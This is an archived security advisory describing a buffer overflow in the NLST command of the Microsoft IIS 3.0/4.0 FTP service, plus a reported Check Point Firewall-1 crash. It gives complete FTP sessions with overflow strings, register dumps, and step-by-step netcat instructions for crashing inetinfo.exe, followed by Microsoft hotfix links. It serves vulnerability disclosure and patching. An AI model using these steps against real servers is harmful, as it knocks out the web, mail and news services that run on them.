COMMAND

    IIS and FW-1

SYSTEMS AFFECTED

    Win 9.x and NT with IIS 3.0 and 4.0

PROBLEM

    Following  is  based  on  eEye  Digital  Security  Team  Advisory.
    Microsoft IIS (Internet Information Server) FTP service contains a
    buffer overflow in the NLST command.  This could be used to DoS  a
    remote machine and in some cases execute code remotely.  Lets look
    at the  following example  attack.   The server  must either  have
    anonymous access rights or an  attacker must have an account.   To
    reproduce following please note that using NT4's ftp.exe will  not
    help you.  If you look  at what NT4's ftp.exe does... it  does not
    send the ls command correctly therefore its not going to work.  If
    you would like  to test the  overflow I suggest  two things.   Use
    NT5's ftp.exe or write your own code.

        C:\>ftp guilt.xyz.com
        Connected to guilt.xyz.com.
        220 GUILT Microsoft FTP Service (Version 4.0).
        User (marc.xyz.com:(none)): ftp
        331 Anonymous access allowed, send identity (e-mail name) as password.
        Password:
        230 Anonymous user logged in.

        ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

        200 PORT command successful.
        150 Opening ASCII mode data connection for file list.

    The server has now processed our long NLST request and has crashed.

        -> ftp: get :Connection reset by peer

    Our ftp client looses connection... that is a given.

    The above example  uses 316 characters  to overflow.   This is the
    smallest possible  buffer to  pass that  will overflow  IIS.  Lets
    take a look at the server side happenings.  On the server side  we
    have  an  "Application  Error"  message  for  inetinfo.exe.   "The
    instruction  at  '0x710f8aa2'  referenced  memory at '0x41414156'.
    The  memory  could  not  be  'read'."   If  we  take a look at our
    registers we will see the following:

        EAX = 0000005C EBX = 00000001
        ECX = 00D3F978 EDX = 002582DD
        ESI = 00D3F978 EDI = 00000000
        EIP = 710F8AA2 ESP = 00D3F644
        EBP = 00D3F9F0 EFL = 00000206

    There is no 41 hex (Our overflow character) in any of registers so
    we chalk this up as a DoS attack for now.  Lets move on and take a
    look at the largest string we can pass to overflow IIS.

        C:\>ftp guilt.xyz.com
        Connected to guilt.xyz.com.
        220 GUILT Microsoft FTP Service (Version 4.0).
        User (marc.xyz.com:(none)): ftp
        331 Anonymous access allowed, send identity (e-mail name) as password.
        Password:
        230 Anonymous user logged in.

    The server must either have anonymous access rights or an attacker
    must have an account.

        ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        AAAAAAAAA

        200 PORT command successful.
        150 Opening ASCII mode data connection for file list.
        Connection closed by remote host.

    In this case we passed 505 characters to overflow IIS. This is the
    largest possible (tested) buffer  to pass that will  overflow IIS.
    Lets take a look once again at the server side.  On the server  we
    have the same "Application Error" message for inetinfo.exe  except
    this time  "The instruction  at '0x722c9262'  referenced memory at
    "0x41414141'." This is looking  mighty interesting.  Lets  look at
    our registers once again:

        EAX = 00000000 EBX = 41414141
        ECX = 41414141 EDX = 722C1CAC
        ESI = 41414141 EDI = 41414141
        EIP = 722C9262 ESP = 00D3F524
        EBP = 00D3F63C EFL = 00000246

    There sure are a lot of 41 hex codes in our registers now.  So  to
    wrap it all up what we have  here is a DoS attack against any  IIS
    server with ftp access. Keep in mind we have to be able to  login.
    However, Anonymous access is granted on most servers. Once we have
    overflowed IIS all IIS services will fail. (I.E. The web  service,
    NNTP, SMTP etc..)

    Btw,  without  programming  knowledge   and  NT5's  ftp.exe,   try
    following:

        1.) Connect to port 21 of the target machine using netcat
        2.) send: USER anonymous
        3.) send: PASS root@
        4.) send: PORT w,x,y,z,122,105
            where w,x,y,z is the IP address of the machine  performing
            the attack.   The 122,105  part means  to connect  to port
            31337 on the attacking machine.
        5.) In a different window or on another terminal use netcat to
            listen on the  attacker's machine, port  31337. (nc -l  -p
            31337)
        6.) send: NLST AAAAAAAA... (316 A's)
        7.) Inetinfo.exe on the target machine should crash.

    You have to  send a valid  PORT command, and  be listening on  the
    port, for the  service to crash.  If you don't  send a valid  PORT
    command and listen for the  connection, the FTP service will  just
    disconnect you.

    Adding  to  the  info,   let's  mention  following.   One   tester
    reproduced the IIS bug with NT4  SP4 IIS 4.0 from the option  pack
    CD and no hot fixes.  It didn't error out, however, it did  behave
    rather differently than  so far described.   *All* of the  virtual
    web  servers  stopped  (6-7  running)  and needed to be restarted.
    Interesting thing  is that  the machine  that ran  the exploit  on
    didn't restart right away, but did after about 10 minutes.

    Dorqus Maximus added  following.  This  oshare.c code crashed  his
    Checkpoint Firewall-1,  version 3.0b,  Build Number:  3083.   (Sun
    Sparc,  Solaris  2.5.1).   After  running  it  he  lost   internet
    connectivity and saw the following on the console of our  firewall
    server:

        FW-1: packet size too big (131060) from 0x01010101, ip_p=17
        FW-1: packet size too big (131060) from 0x01010101, ip_p=17
        FW-1: packet size too big (131060) from 0x01010101, ip_p=17
        FW-1: packet size too big (131060) from 0x01010101, ip_p=17
        FW-1: packet size too big (131060) from 0x01010101, ip_p=17
        FW-1: packet size too big (131060) from 0x01010101, ip_p=17
        FW-1: packet size too big (131060) from 0x01010101, ip_p=17
        FW-1: packet size too big (131060) from 0x01010101, ip_p=17
        FW-1: packet size too big (131060) from 0x01010101, ip_p=17
        FW-1: packet size too big (131060) from 0x01010101, ip_p=17
        FW-1: packet size too big (131060) from 0x01010101, ip_p=17

    The machine could not  be soft booted and  need to be hard  booted
    (power cycled).

SOLUTION

    Microsoft has posted  hot fixes to  address this problem.   Please
    note that  all of  these patches  are designed  to be applied atop
    Windows NT (r) 4.0 SP4:

      - Fix for X86 version of IIS 3.0:
        ftp://ftp.microsoft.com/bussys/iis/iis-public/fixes/usa/security/ftpls-fix/ftpls3i.exe
      - Fix for Alpha version of IIS 3.0:
        ftp://ftp.microsoft.com/bussys/iis/iis-public/fixes/usa/security/ftpls-fix/ftpls3a.exe
      - Fix for X86 version of IIS 4.0:
        ftp://ftp.microsoft.com/bussys/iis/iis-public/fixes/usa/security/ftpls-fix/ftpls4i.exe
      - Fix for Alpha version of IIS 4.0:
        ftp://ftp.microsoft.com/bussys/iis/iis-public/fixes/usa/security/ftpls-fix/ftpls4a.exe